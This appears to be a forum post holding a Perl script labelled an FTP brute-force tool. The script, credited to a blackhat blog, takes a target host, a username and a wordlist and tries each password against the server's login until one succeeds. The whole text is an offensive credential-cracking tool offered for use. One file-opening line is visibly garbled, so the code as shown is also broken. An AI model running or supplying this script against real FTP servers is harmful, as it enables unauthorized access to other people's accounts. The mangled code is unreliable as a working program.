13 Years of Service
24%
Code:
>#!/usr/bin/perl
# http://the-blackhats.blogspot.com
# FTP BRUTE-FORCE V0.2
use Net::FTP;
use strict;
use warnings;
use Term::ANSIColor qw(:constants);
my ($host,$user,$wl) = @ARGV;
if($#ARGV != 2){
die("\nCoder: MMxM\nModo de uso: $0 \n\n");
}
sub main(){
print BOLD BLUE, "\n\n
[*]",RESET,"Attacking: $host\n",BOLD BLUE,"
[*]",RESET," Username: $user\n\n";
open(my $words,"while (){
chomp($_);
print BOLD BLUE, "
[*]",RESET,"Testando senha:\t$_\n";
if((&auth($_)) == 0){
print BOLD RED, "[-] ",RESET,"ERROR\n";
} else {
print GREEN, "\n\t[+] ",RESET,"Password Cracked: $_\n\n";
exit;
}
}
}
sub auth(){
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($user, $_)){
$f->quit;
return 0;
} else {
return 1;
}
}
main();